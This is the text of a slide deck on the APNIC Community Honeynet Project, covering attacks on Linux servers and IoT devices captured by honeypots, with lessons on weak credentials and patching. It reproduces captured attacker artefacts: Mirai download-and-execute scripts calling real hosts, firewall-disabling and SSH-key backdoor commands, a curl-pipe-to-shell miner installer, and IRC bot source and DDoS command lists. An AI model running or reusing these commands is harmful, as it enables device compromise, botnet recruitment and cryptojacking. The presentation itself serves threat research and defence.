The document discusses observations from the APNIC Community Honeynet Project, including Linux/Unix malware targeting servers and IoT devices, and lessons learned. Some key observations are the prevalence of Linux/Unix malware like Mirai that targets exposed devices with weak credentials. Honeypots captured login attempts and payloads downloaded from command and control servers. Lessons include the need to patch systems, use strong unique credentials, and monitor for infections.

1. 1
Observations and Lessons Learned from
the APNIC Community Honeynet Project
Adli Wahid
Senior Internet Security Specialist, APNIC
adli@apnic.net

2. 2
2
Let’s Connect!
LinkedIn: Adli Wahid
Email: adli@apnic.net
Twitter: @adliwahid
PGP Key fingerprint = 0CA9 A0A3 42C0
241E 6AE9 B24C 53F7 CE5C 6352 3696

3. 3
3
Talk Overview
1. APNIC Community Honeynet
Project
2. Observations on activities
targeting Linux servers and
IoTs
3. Lessons Learned /
Reflections

4. 4
4
Overview of the APNIC
Community Honeynet Project

5. 5
5
APNIC Community Honeynet Project
• Context
– Educational – using honeypots for understanding network security attacks / threats, part
of our network security training
– Situational awareness, the bigger picture, cooperation with other stakeholders, tools (i.e.
MISP threat sharing platform, Wireshark, Suricata, etc )
• Collaboration
– Partners deploy honeypots, APNIC runs the backend
– Information collected among partners & threat sharing*
• Outcomes
– More than 50 distributed honeypots* in AP region since 2017
– Share threat information for APNIC members, partners (i.e CERTs/CSIRTs, Network
Operators)
• https://blog.apnic.net/2020/07/09/apnic-community-honeynet-project-behind-
the-scenes/
• https://dash.apnic.net
5

6. 6
6
APNIC Community Honeypot
1. Purpose and Placement
o Research & Alerting – Internet
2. Type of Honeypots
o Cowrie, Dionaea, RDPHoney,
3. Deployment
– Community Honey Network (fork of Modern Honey Network)
– Partners & Self Hosting
4. Data Collection & Analysis & Action
– Logs, Visualization, Alert, Action (Incident Response)
– Elasticsearch, Kibana, Logstash, Beats
– Suricata IDS
– ElastAlert + Slack
5. Maintenance
– Ansible
– LibreNMS
Detection with Suricata Rulesets
Slack Alert

7. 7
7
Community Honeynet Infrastructure
hpfeeds
hpfeeds
CHN
MHN
Filebeats (json)
Filebeats (json)
Logstash
TLS
TLS
ElasticSear
ch
BigQuery
Elastalert Kibana
honeypots
Distributed honeypots
MHN – Modern Honey Network
CHN – Community HoneyNetwork

8. 8
8
* Traffic from the last 30 days

9. 9
9

10. 10
10

11. 11
Country View – Pakistan (Last 90 days)

12. 12
Observations and Lessons
Learned

13. 13
13
Linux/Unix Malware
• Routers / IoT devices / Servers run Linux / Unix based OS
• Not new but pervasive
– Targets are exposed on the Internet (http, telnet, ssh)
– Unpatched / Unmonitored (i.e. no Anti Virus, firmware upgrades not applied)
– Default/Weak credentials
• Popular example – Mirai (ddos agent)
– Source code was shared publicly
– Many variants – josho, owari, masuta, sora etc
– Gafgyt
• Simple technique of infecting and spreading & persistence
• Interesting Scenarios
– Working from Home
– Servers / Hosting / Cloud

14. 14
14
Different Perspectives of a DDoS
My Network /
Infrastructure /
Host
Source
Target / Victim Perspective
Attacker Perspective
x

15. 15
15
Service & Attacker
Infrastructure
• Setting up the infrastructure
• Misconfigured services
– Servers - NTP, DNS, SSDP, etc
– Amplification attack
– Spoof source of request
– https://stats.cybergreen.net/
– https://www.shadowserver.org/what-we-
do/network-reporting/get-reports
• Active bot “recruitment”
– Internet exposed services
– Vulnerable devices
– Weak credentials

16. 18
18
source
Brute force:
Username: admin password:12345
Remote Code Execution via Web interface
Download Binary /
Execute
Scan and gain access
Connect to Command and Control C & C
“Recruitment Process”
wget http://37.x.2x.190:80/13747243572475/hx86_64
2
1
Attacker

17. 19
19
Telnet/SSH Honeypot (Cowrie)
• Emulates SSH / Telnet
– Allows attacker to log in
• Emulates Linux/Unix environment
– Captures command issued by attacker after
login
– Including download
• ”Look and Feel” of Linux/Unix server
and IoT devices
• Attract certain class of attacks
– Scan for SSH/Telnet
– Bruteforce username/password
– Login & execute payload(s)
• Ddos Agents & Cryptominers
– Based on post-login activities and binary
collected
Mirai sample – 2016

18. 20
Successful Logins – New Honeypot
{
"eventid": "cowrie.login.success",
"username": "root",
"timestamp": "2018-10-07T19:31:50.568233Z",
"message": "login attempt
[root/taZz@23495859] succeeded",
"src_ip": "123.b.c.12",
"session": "fd7977b0b54a",
"password": "taZz@23495859",
"sensor": "mn-001"
}
{
"eventid": "cowrie.login.success",
"username": "root",
"timestamp": "2018-10-07T19:31:59.378766Z",
"message": "login attempt
[root/taZz@23495859] succeeded",
"src_ip": "80.x.y.62",
"session": "fdcd399b1282",
"password": "taZz@23495859",
"sensor": "mn-001"
}
Check out: https://www.bankinfosecurity.com/botnets-keep-brute-forcing-internet-things-devices-a-

19. 21
21
Execute Payload
#!/bin/sh
cd /tmp || cd /honme/$USER || cd /var/run || cd /mnt
|| cd /root || cd /
wget http://185.10.68.175/bins/mirai.mips -O
mirai.mips; busybox wget
http://185.10.68.175/bins/mirai.mips -O mirai.mips;
tftp -r mirai.mips -g 185.10.68.175; busybox tftp -r
mirai.mips -g 185.10.68.175; chmod 777 mirai.mips;
./bins/mirai.mips; rm -rf mirai.mips

20. 22
22
/etc/init.d/iptables stop;service iptables stop;SuSEfirewall2 stop;reSuSEfirewall2 stop;cd /tmp;wget -
c http://116.211.145.29:8887/dx;chmod 777 dx;./dx;echo "cd /tmp/">>/etc/rc.local;echo
"./dx&">>/etc/rc.local;echo "/etc/init.d/iptables stop">>/etc/rc.local;
cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa
AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5
O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJ
e0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPe
cjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8h
Gmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKg
AySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
echo -e "passwordn1o53kTj3yZq9n1o53kTj3yZq9"|passwd|bash
system scheduler add name="U6" interval=10m on-event="/tool fetch
url=http://spacewb.tech/poll/bd54f492-5909-49dd-bf2e-efbe029383ce mode=http dst-
path=7wmp0b4s.rscrn/import 7wmp0b4s.rsc"
policy=api,ftp,local,password,policy,read,reboot,sensitive,sniff,ssh,telnet,test,web,winbox,wri
te

21. 23
my $process = $rps[rand scalar @rps];
my @rversion = ("Phl4nk");
my $vers = $rversion[rand scalar @rversion];
my @rircname = ("zombie");
my $ircname = $rircname[rand scalar
@rircname];
chop (my $realname = $rircname[rand scalar
@rircname]);
my $nick =$rircname[rand scalar @rircname];
my $server = '125.x.y.z53';
my $port = '1947';
my $linas_max='8';
my $sleep='5';
my $homedir = "/tmp";
my $version = 'v.02';
my @admins = ("Nite","NiteMax","Nite123");
#my @hostauth = ("Nite");
my @channels = ("#VPS");
Perl Script
command: uname -a & curl -O http://[xx].do.am/adm.txt ; perl adm.txt ; rm -rf adm.txt

22. 24
24
if ($funcarg =~ /^flood/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1redu`s PerlBot Flood Help: ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp1 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp2 <ip> <packet size> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1udp3 <ip> <port> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1tcp <ip> <port> <packet size> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1http <site> <time> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1ctcpflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1msgflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1noticeflood <nick> ");
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1========================================= ");
}
if ($funcarg =~ /^utils/) {
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1==================================================
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1redu`s PerlBot Utils Help:
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1==================================================
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1cback <ip> <port>
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1download <url+path> <file>
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1mail <subject> <sender> <recipient> <messa
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1dns <ip>
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1port <ip> <port>
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u 12@9,1portscan <ip>
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1!u pwd (for example)
sendraw($IRC_cur_socket, "PRIVMSG $printl :4,1 [Help] 9,1==================================================
}

23. 25
* Non-spoof / non-root attacks: (can run on all bots) *
* STD <ip> <port> <time> = A non spoof UDP HIV STD flooder *
* HOLD <host> <port> <time> = A vanilla TCP connection flooder *
* JUNK <host> <port> <time> = A vanilla TCP flooder (modded) *
* UNKNOWN <target> <port, 0 for random> <packet size, 0 for random> <secs> = Another non-
spoof udp flooder
* HTTP <method> <target> <port> <path> <time> <power> = An extremely powerful HTTP flooder
* *
* Spoof / root attacks: *
* DNS <target IP> <port> <reflection file url> <forks> <pps limiter, -1 for no limit> <time> = DNS
amplification flooder, use with caution
* BLACKNURSE <target ip> <secs> = An ICMP flooder that will crash most firewalls, causing them
to drop packets.
* *
* Bot commands: *
* AK-47SCAN <ON/OFF> = Toggles scanner. Started automatically. *
* GETIP <iface> = gets the IP address from an interface *
* FASTFLUX <iface> <ip> <port> = starts a proxy to a port on another ip to an interface (same port)
* RNDNICK = Randomizes knight nickname *
* NICK <nick> = Changes the nick of the client *
* SERVER <server> = Changes servers *
* GETSPOOFS = Gets the current spoofing *
* SPOOFS <subnet> = Changes spoofing to a subnet *
* DISABLE = Disables all packeting from the knight *
* ENABLE = Enables all packeting from the knight *
* KILL = Kills the knight *
* GET <http address> <save as> = Downloads a file off the web *
* VERSION = Requests version of knight *
* KILLALL = Kills all current packeting *
* HELP = Displays this *
* IRC <command> = Sends this command to the server *
* SH <command> = Executes a command *
* BASH <command> = Run a bash command *
* ISH <command> = Interactive SH (via privmsg) *
* SHD <command> = Daemonize command *
* INSTALL <http://server/bin> = Install binary (via wget) *
* BINUPDATE <http://server/bin> = Update a binary (via wget) *
* LOCKUP <http://server/bin> = Kill telnet, install a backdoor! *
* *
Source code of IRC based bot

24. 26
26
Linux/Mirai – Fbot
https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-
linuxmirai-fbot-re.html
2020-07-16T10:47:34.498718Z - URL seen
http://5.x.y.228/bot.x86_64 on sensor 4da092c7-7234-48dc-a7ab-
7eb35979e847 and source ip: x.y.z.119 - ['root', 'juantech’]
2020-07-16T11:43:13.797645Z - http://5.x.y.228/bot.x86_64 on
sensor f3fedbcf-e79e-44ef-9947-aca33701f8c2 and source ip:
x.y.z.97 - ['root', 'hipc3518’]

25. 27
27

26. 28
Cryptominers / Cryptojacking

27. 31
31
curl -fsSL lsd.systemten.org||wget -q -O- lsd.systemten.org)|sh >/dev/null 2>&1 &

28. 32
32
Snippet of shell script
if [ ! -f "4d867bd38706a5f7" ]; then
ARCH=$(getconf LONG_BIT)
if [ ${ARCH}x = "64x" ]; then
(curl -fsSL -m180 img.sobot.com/chatres/89/msg/20190814/ced05f4d38ac4090a3b8cb3196c6bd4f.png -o
4d867bd38706a5f7
||wget -T180 -q img.sobot.com/chatres/89/msg/20190814/ced05f4d38ac4090a3b8cb3196c6bd4f.png -O 4d867bd38706a5f7
||curl -fsSL -m180 never.b-cdn.net/x64 -o 4d867bd38706a5f7
||wget -T180 -q never.b-cdn.net/x64 -O 4d867bd38706a5f7
||curl -fsSL -m180 cdn.xiaoduoai.com/cvd/dist/fileUpload/1565754278188/3.1437250848801557.jpg -o
4d867bd38706a5f7
||wget -T180 -q cdn.xiaoduoai.com/cvd/dist/fileUpload/1565754278188/3.1437250848801557.jpg -O
4d867bd38706a5f7)

29. 33
33
Find hash related to
URL serving Malware
a5fba021a41c520a81647cda41110033eba
4f8842eb3239f227bcbb0b1b110d6

30. 34
34

31. 35
35
Rocke Gang
1. https://isc.sans.edu/diary/Vulnerable+Apache+Jenkins+exploited+in+the+wild/
24916 (May 2019)
2. https://www.fortinet.com/blog/threat-research/rocke-variant-ready-to-box-
mining-challengers (May 2019)
3. https://www.anomali.com/blog/illicit-cryptomining-threat-actor-rocke-changes-
tactics-now-more-difficult-to-detect (Oct 2019)
4. https://unit42.paloaltonetworks.com/malware-used-by-rocke-group-evolves-to-
evade-detection-by-cloud-security-products/ (Oct 2019)

32. 36
36
www-data 17838 0.0 0.0 4452 636 ? S
Mar20 0:00 sh -c /bin/bash -i -c '( while true ; do
/var/www/[truncated]default/files/media-icons/xm2sg
-l /var/www/[truncated]/files/media-icons/out.txt -o
pool.minexmr.com:4444 -u
49DmzgK76Bo8WUa4LzTMs9TuT4Pj5FwM4FKuaN
R1LmNvSPbPcTFi1ZsbVjJcQDY5hZ9i18A88g86Tfd
Xi83P4uEoGyD5eTc.0+10000 -k >&
/dev/udp/127.0.0.1/1 0>&1 ; if [ ! -f
/var/www/[truncated]/files/media-icons/xm2sg ] || [ $?
-eq 126 ]; then break; fi; sleep 1 ; done )

33. 37
37
Analysis - Interesting indicators
• IP addresses of host for initial access, run script to download
binary/malware
– Normally compromised systems
• IP addresses of host serving binary/malware + other artefacts
• IP addresses/domains of command and control
• Binaries, scripts, malware samples, source code (+ hashes)
• Ssh keys, webshells, Group names, irc #channels
• Miner related information
• Correlate with other observations, reports, etc

34. 38
38
Lessons Learned

35. 39
39
Lessons Learned
• Context how can we “ improve” security ?
• Bad Practices
o Telnet enabled by default on devices
o Weak or default credentials not removed
o Services not developed securely
o Services not deployed securely (i.e. management interfaces
shouldn’t be exposed on the Internet)
o No action upon notification (not our device, it is the customers)
• Miscreants will exploit the weaknesess & monetize

36. 45
45
Source IP from TO
2020-10-16T06:53:37.404513Z - cowrie : Traffic from IP
address: x.z.y.56 src_port: 33903 dest_port: 23 ASN
Info: XYZ , 38201 , x.z.y.0/21
AbuseIPDB

37. 46
46
Back to the drawing Board?
• Keeping the Internet safe and secure for _everyone_
• Education
– Users, operators, developers
• Governance
– Incident Response
– Roles and responsibilities
– Accountabilities

38. 48
Thank You!
LinkedIn: Adli Wahid
Email: adli@apnic.net
Twitter: @adliwahid
PGP: 0CA9 A0A3 42C0 241E 6AE9 B24C 53F7 CE5C 6352
3696
https://www.unsplash.com/adliwahid